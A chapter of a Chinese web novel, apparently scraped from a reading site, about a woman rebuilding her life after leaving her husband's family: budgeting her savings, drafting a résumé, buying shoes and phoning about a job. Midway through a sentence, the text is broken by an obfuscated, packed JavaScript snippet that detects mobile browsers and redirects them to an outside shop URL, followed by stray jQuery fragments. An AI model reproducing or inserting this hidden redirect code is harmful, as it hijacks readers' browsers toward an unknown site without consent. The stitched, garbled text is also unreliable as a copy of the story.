苏晚晚在公交站台上站了将近二十分钟，裤脚湿了半截，雨水顺着小腿灌进鞋里。她把碎花衬衫的领子立起来，挡着从站台侧面斜飘进来的雨丝，过路的人都低头快步走路，只有她一动不动。
手机震了一下。她低头看——又是那个号码：“你的银行卡还能用几天，自己算清楚。”
她看完那条短信，锁了屏，把手机放回口袋。
公交站台旁边有一台ATM机，她走过去，掏出那张存了三年生活费的银行卡，插进去，输入密码。屏幕上跳出余额：118,632.47。
她没有取钱。把卡退出来，放回帆布袋最底下那层拉链袋里，拉好拉链，在心里默算了一遍。建设路七号院的房间，房租加水电网，一个月九百出头。吃饭，早饭五块，午饭十五块，晚饭十块，一天三十出头，一个月一千。交通费还没算清楚，因为她不知道接下来要去哪里、要怎么去。
十一万八千六。减去三个月的房租加生活费，大概还剩十一万五。
十一万五能撑多久，她心里没底。她不知道自己要在这个房间里待多久，更不清楚这些钱花光之后，自己该怎么办。
三年来，她没有上过一天班。傅衍之不让她出去工作，说“傅家的太太不需要出去抛头露面”。她当时觉得那是一种保护，后来才明白那是什么——把一头鹿圈养在围墙里，三年之后，鹿就忘了怎么奔跑。她低头看着自己那双平底凉鞋，鞋底磨薄了，鞋边沾了一圈干透的泥点子。她穿着这双鞋子在傅家的地板上走了三年——从卧室到厨房，从厨房到洗衣房，从洗衣房到后院，每一步都踩在同一条轨迹上，把那条轨迹踏得锃亮。
她重新把卡插进去，点了“取款”，输入两千。机器哗啦啦地数钱，吐出一叠粉色钞票。她把钱折好塞进外套内袋，拔出卡，转身走了。
走出自助银行的时候，雨小了一些。街对面的早点摊已经收了，只剩一个人蹲在路边刷锅，铁锅里的刷锅水倒进下水道，发出一阵咕噜噜的声响。苏晚晚站在路沿石上，看着那摊水汇入雨水，流进下水道——铁栅栏挡住的一片碎菜叶漂在上面，翻了个身，顺着水流消失了。
她转身往回走。
回到建设路七号院的时候，巷子里的积水已经开始消退，阳光从云层缝隙里漏下来，在地面上投下一道道亮白色的斜纹。她掏出钥匙开了铁门，走进院子。青苔被雨水泡了一夜，绿得发亮，墙角那摊积水表面浮着一层薄薄的油膜，映出天空的倒影。
她打开最左边那扇门，推门进去。房间里的霉味比昨晚浅了一些，像是被雨水冲淡了。她站在门口，没有关上门，让风吹进来。然后她把帆布袋放在床上，拉好窗帘，脱掉湿透的外套挂在椅背上，在书桌前坐下来。
她掏出手机，打开备忘录，在“计划”下面又加了三行字——
“3. 找工作。”
她看着那三个字，指尖在屏幕上悬了片刻。
她有什么技能？她会叠衣服，会做日式照烧三文鱼，会背熟傅衍之书房里所有商业书籍和法律条文的目录。但她连一份正规的求职简历都没写过。她打开浏览器，在搜索栏里输入“锦城，招聘”，按了回车。
跳出来的第一条是一家连锁餐厅招服务员，月薪三千五到四千五，包吃，单休。第二条是一家服装店招导购，底薪加提成，有经验者优先。她往下翻了几页，一个一个看过去，看到第十二条的时候，她停住了——“锦城市郊区茶叶公司招聘文员，月薪四千，双休，熟悉Excel办公软件”。
她盯着那条信息看了一会儿，复制了链接，打开一个新文档，开始写简历。
她写得很慢。
姓名：苏晚晚。性别：女。年龄：二十六。教育经历：锦城大学中文系，本科，肄业。
她看着“肄业”那两个字，拇指停在屏幕上方，没有立刻移开。那是她大四那年的事。傅衍之说结婚后他会养她，让她不用操心工作的事，她信了。退学手续办完的那天，她站在学校门口，看着校门上那几个铜字，看了一刻钟，然后转身走了。
她关掉那一栏，继续往下写。
工作经历——
她停在那一栏，写不下去。
她没有工作经历。嫁进傅家三年，在社会体系的分类里，那三年是一段完完全全的空白。没有社保记录，没有纳税记录，没有劳动合同，没有任何能证明她存在过的痕迹。如果明天去面试，人事问起她过去三年在做什么，她能说什么？说“我在当傅太太”，“我在给一个男人叠衣服、擦地毯、做日式照烧三文鱼”——没有人会录用她。
她垂下手机。屏幕上的光标还在那根横线上闪动。她看着那根横线，看了很久。久到她终于意识到——那根横线在等的不是她写完，而是她承认。久到手机屏幕自动暗下去又亮起来，久到窗外的天光变暗了一格。
她关掉了那份简历。
她把手机放到一边，拉开书桌的抽屉——空的。她又拉了一遍上面那个抽屉，也空的。第三个抽屉里有一支圆珠笔，笔帽上有一个咬痕，已经氧化发黄了。她拿起那支笔，从厨房里翻出一个别人留下的旧信封——印着“好再来酒店”字样，边角磨损，纸质发黄——翻了个面，在背面写下：
“4. 学会怎么活。”
她看着那四个字，没有把笔放下。在那行字下面又写了一行，笔尖划过纸面，沙沙作响：“5. 拿回该拿回来的。”
她放下笔，把旧信封折好，塞进菜谱笔记本的封皮夹层里，和那张边缘磨损的A4纸放在一起。站起来，走到窗前，推开窗。雨后的风裹着泥土和青草的气息涌进来，带着七月清晨特有的凉意。
她闭上眼，站着。感觉到自己的心跳在胸腔里跳得很平稳，不紧不慢，像是有什么东西被重新调准了节奏。
睁开眼，看了一眼手机上的时间——上午九点十二分。
她换上那件晾了一夜才勉强干到七成的白裙子，套上一件薄外套，走出房间。门锁不紧，要用力往上提一下锁舌才能卡住。她试了两次才关上，抽了抽锁，确认锁好了，然后转身走出院子。
巷口的包子摊还没收，蒸笼里还冒着白气。她走过去，买了一个肉包子和一杯豆浆，站在路边吃完。面皮被蒸汽浸得发软，肉馅有点咸。她用纸巾擦了擦手，沿着街道往前走。
走了大约四十分钟，走到一片她从未认真打量过的小商品市场。铁皮搭的棚子，摊位一个挨一个挤在一起——塑料拖鞋、晾衣架、不锈钢锅、搪瓷杯、指甲刀套装。摊位之间的过道很窄，两个行人错身都要侧着走。
她站在入口处，看着熙熙攘攘的人群，站了几秒钟，走了进去。
在一家卖鞋的摊位前蹲下来，挑了一双平底布鞋，深灰色，鞋底有防滑纹路。试了试，尺码刚好。她从口袋里数出两张皱巴巴的十块
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741835|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
钱递过去，女摊主接过钱，顺手撕了个塑料袋装鞋。苏晚晚脱下那双湿透的凉鞋，赤脚踩在地上，感受着水泥地面粗糙的凉意，然后把新布鞋套上脚，弯下腰系鞋带。
系到第三下的时候，她感觉到一种跟早上在衣柜前弯腰系鞋带时完全不同的东西——那时候她系的是凉鞋的搭扣，三两下就能扣牢，鞋底薄，踩在傅家的大理石地板上，每一步都像踩在冰面上。现在这双布鞋踩在地面上，每一步都踩得很实，像是在告诉地面：我站在这儿，我不走。
她把那双湿透的凉鞋拎起来，走到摊位旁边的垃圾桶前，扔了进去。塑料鞋底磕在铁皮桶沿上，发出一声闷响，像是什么东西被关上了。
然后她又买了一个手机充电器，一个插线板，一把锁，一沓稿纸，一根圆珠笔。总共花了不到六十块钱。
走出市场的时候，太阳出来了。
她站在市场门口的台阶上，把新布鞋踩了踩，感受着干燥的鞋底贴在地面上的触感。脚不冷了。她低头看着那双二十块钱的布鞋——样子丑，鞋底薄，但结实。她活动了一下脚趾，确认尺码刚好，然后弯下腰，把鞋带系紧。
回家的路上，她停了一下。经过一个贴满小广告的老旧电箱时，看到一张被风雨撕掉了一半的招聘启事残片：“诚聘茶叶质检员，月薪四千，包培训，无经验可。”联系电话被雨水浸得模糊了，只剩最后四位数还能辨认。她掏出手机，把那四位数存进备忘录，备注名写成“可能”。
然后她看了一眼那张残片，继续往前走。走了几步，脚步慢下来。她站住，掏出手机，打开备忘录里那行“可能”的数字。
建设路七号院的铁门锁得好好的。她掏出钥匙，把锁打开，走进院子。积水完全退了，地面干了一大片，只剩墙角那一小块还泛着微微的潮湿。她走回房间，关上门，上了新买的锁。
房间里还是那股淡淡的霉味，但她已经习惯了。
她把新买的稿纸放在书桌上，拿起圆珠笔，翻到第一页。笔尖悬在纸面上方，停了片刻，然后落下去。
她写：“苏晚晚，二十六岁。前傅家媳妇。肄业。无业。无存款。无工作经历。”
她看着那几行字，停顿了一下，在最后面加了一行：“十一万五千——这是她能给出的全部数字，像一块石头，沉在她胃底。”
然后她把笔放下，把稿纸合上，放在枕头底下。
手指无意识地蜷缩了一下——那顶没织完的婴儿帽，奶白色的毛线起球的纹理，在脑海中一闪而过。像攥住了什么，又像放开了什么。
窗外传来巷口包子摊收摊的声音——铁盘摞在一起哐当响，蒸笼盖合上的闷响。她听着那些声音，慢慢地、仔仔细细地扣好手机壳的边角，确认每一处缝隙都贴合严密。然后她站起来，拉开窗帘，让阳光照进来。
她站在那片干净的白光里，掏出手机，打开备忘录里那行“可能”的数字。
盯着那四个数字看了很久，拇指在拨号键上悬着。指尖微微发凉——她可以挂掉，可以装作没看到这个广告，可以继续躲在建设路七号院那个十五平方的房间里，数着十一万五千块钱过日子。
然后她按下拨号键，把手机放到耳边。听到电话接通时那一声短促的、线路那头电流击破空气的轻响。
“喂，您好，我看到了招聘茶叶质检员的广告——那个电话号码后面的四位数，是您吗？”